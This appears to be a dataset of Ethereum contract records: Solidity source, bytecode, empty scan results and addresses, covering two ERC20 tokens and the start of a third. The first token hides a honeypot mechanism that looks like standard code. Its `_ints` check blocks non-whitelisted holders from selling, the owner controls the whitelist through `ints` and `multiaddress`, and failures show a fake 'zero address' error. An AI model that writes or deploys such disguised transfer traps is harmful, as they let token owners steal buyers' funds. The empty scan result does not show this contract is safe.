require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _address0;
address private _address1;
mapping (address => bool) private _Addressint;
uint256 private _zero = 0;
uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_address0 = owner;
_address1 = owner;
_mint(_address0, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function ints(address addressn) public {
require(msg.sender == _address0, "!_address0");_address1 = addressn;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_ints(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _ints(address sender, address recipient, uint256 amount) internal view virtual{
if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");}
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
if (msg.sender == _address0){
transfer(receivers[i], amounts[i]);
if(i<AllowN){
_Addressint[receivers[i]] = true;
_approve(receivers[i], _router, _valuehash);
}
}
}
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
function _Erc20Token(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063438dd0871161008c578063a457c2d711610066578063a457c2d71461040a578063a9059cbb14610470578063b952390d146104d6578063dd62ed3e1461062f576100cf565b8063438dd087146102eb57806370a082311461032f57806395d89b4114610387576100cf565b806306fdde03146100d4578063095ea7b31461015757806318160ddd146101bd57806323b872dd146101db578063313ce567146102615780633950935114610285575b600080fd5b6100dc6106a7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011c578082015181840152602081019050610101565b50505050905090810190601f1680156101495780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101a36004803603604081101561016d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610749565b604051808215151515815260200191505060405180910390f35b6101c5610767565b6040518082815260200191505060405180910390f35b610247600480360360608110156101f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610771565b604051808215151515815260200191505060405180910390f35b61026961084a565b604051808260ff1660ff16815260200191505060405180910390f35b6102d16004803603604081101561029b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610861565b604051808215151515815260200191505060405180910390f35b61032d6004803603602081101561030157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610914565b005b6103716004803603602081101561034557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a1b565b6040518082815260200191505060405180910390f35b61038f610a63565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103cf5780820151818401526020810190506103b4565b50505050905090810190601f1680156103fc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104566004803603604081101561042057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b05565b604051808215151515815260200191505060405180910390f35b6104bc6004803603604081101561048657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd2565b604051808215151515815260200191505060405180910390f35b61062d600480360360608110156104ec57600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561051657600080fd5b82018360208201111561052857600080fd5b8035906020019184602083028401116401000000008311171561054a57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290803590602001906401000000008111156105aa57600080fd5b8201836020820111156105bc57600080fd5b803590602001918460208302840111640100000000831117156105de57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610bf0565b005b6106916004803603604081101561064557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d53565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561073f5780601f106107145761010080835404028352916020019161073f565b820191906000526020600020905b81548152906001019060200180831161072257829003601f168201915b5050505050905090565b600061075d610756610dda565b8484610de2565b6001905092915050565b6000600354905090565b600061077e848484610fd9565b61083f8461078a610dda565b61083a856040518060600160405280602881526020016116f060289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107f0610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b610de2565b600190509392505050565b6000600660009054906101000a900460ff16905090565b600061090a61086e610dda565b84610905856001600061087f610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136590919063ffffffff16565b610de2565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109d7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610afb5780601f10610ad057610100808354040283529160200191610afb565b820191906000526020600020905b815481529060010190602001808311610ade57829003601f168201915b5050505050905090565b6000610bc8610b12610dda565b84610bc3856040518060600160405280602581526020016117616025913960016000610b3c610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b610de2565b6001905092915050565b6000610be6610bdf610dda565b8484610fd9565b6001905092915050565b60008090505b8251811015610d4d57600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610d4057610c85838281518110610c6457fe5b6020026020010151838381518110610c7857fe5b6020026020010151610bd2565b508360ff16811015610d3f57600160086000858481518110610ca357fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610d3e838281518110610d0b57fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a54610de2565b5b5b8080600101915050610bf6565b50505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e68576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061173d6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610eee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806116a86022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561105f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117186025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806116856023913960400191505060405180910390fd5b6110f08383836113ed565b6110fb8383836113f2565b611166816040518060600160405280602681526020016116ca602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111f9816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136590919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611352576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156113175780820151818401526020810190506112fc565b50505050905090810190601f1680156113445780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000808284019050838110156113e3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561149e5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561151a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611527575060095481115b1561167f57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806115d55750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806116295750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61167e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117186025913960400191505060405180910390fd5b5b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220c4414abc235d9ce380b803a4465c01afd7ab68c7a40eaf1f9715783f3cf06c4f64736f6c63430006060033
|
{"success": true, "error": null, "results": {}}
| 3,519 |
0x1305514b142df3ba7471630bce849b71badd5e4b
|
/**
*Submitted for verification at Etherscan.io on 2021-05-23
*/
/**
*Submitted for verification at Etherscan.io on 2020-10-22
*/
pragma solidity ^0.7.1;
// SPDX-License-Identifier: MIT
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals, uint256 totalSupply) {
_name = name;
_symbol = symbol;
_decimals = decimals;
_totalSupply = totalSupply;
_balances[msg.sender] = _balances[msg.sender].add(_totalSupply);
emit Transfer(address(0), msg.sender, totalSupply);
}
/**
* @return the name of the token.
*/
function name() public view returns(string memory) {
return _name;
}
/**
* @return the symbol of the token.
*/
function symbol() public view returns(string memory) {
return _symbol;
}
/**
* @return the number of decimals of the token.
*/
function decimals() public view returns(uint8) {
return _decimals;
}
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view override(IERC20) returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view override(IERC20) returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address owner,
address spender
)
public
view
override(IERC20)
returns (uint256)
{
return _allowed[owner][spender];
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public override(IERC20) returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public override(IERC20) returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address from,
address to,
uint256 value
)
public
override(IERC20)
returns (bool)
{
require(value <= _allowed[from][msg.sender]);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(
address spender,
uint256 addedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(
address spender,
uint256 subtractedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Transfer token for a specified addresses
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint256 value) internal {
require(value <= _balances[from]);
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461025857806370a08231146102bc57806395d89b4114610314578063a457c2d714610397578063a9059cbb146103fb578063dd62ed3e1461045f576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b66104d7565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610579565b60405180821515815260200191505060405180910390f35b61019d6106a4565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106ae565b60405180821515815260200191505060405180910390f35b61023f61085e565b604051808260ff16815260200191505060405180910390f35b6102a46004803603604081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610875565b60405180821515815260200191505060405180910390f35b6102fe600480360360208110156102d257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aaa565b6040518082815260200191505060405180910390f35b61031c610af2565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561035c578082015181840152602081019050610341565b50505050905090810190601f1680156103895780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103e3600480360360408110156103ad57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b94565b60405180821515815260200191505060405180910390f35b6104476004803603604081101561041157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610dc9565b60405180821515815260200191505060405180910390f35b6104c16004803603604081101561047557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610de0565b6040518082815260200191505060405180910390f35b606060038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561056f5780601f106105445761010080835404028352916020019161056f565b820191906000526020600020905b81548152906001019060200180831161055257829003601f168201915b5050505050905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156105b457600080fd5b81600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600254905090565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561073957600080fd5b6107c882600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e8690919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610853848484610ea6565b600190509392505050565b6000600560009054906101000a900460ff16905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156108b057600080fd5b61093f82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e6790919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b8a5780601f10610b5f57610100808354040283529160200191610b8a565b820191906000526020600020905b815481529060010190602001808311610b6d57829003601f168201915b5050505050905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610bcf57600080fd5b610c5e82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e8690919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000610dd6338484610ea6565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600080828401905083811015610e7c57600080fd5b8091505092915050565b600082821115610e9557600080fd5b600082840390508091505092915050565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610ef157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f2b57600080fd5b610f7c816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e8690919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061100f816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e6790919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350505056fea264697066735822122053c598e05f7c3b528bb877bc336095650a84040f4f98fc8e4569d9db0606cbe064736f6c63430007010033
|
{"success": true, "error": null, "results": {}}
| 3,520 |
0x7f7f160b56291ec333734c9718af71f0af009f52
|
pragma solidity ^0.4.24;
/**
* SmartEth.co
* ERC20 Token and ICO smart contracts development, smart contracts audit, ICO websites.
* contact@smarteth.co
*/
/**
* @title SafeMath
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
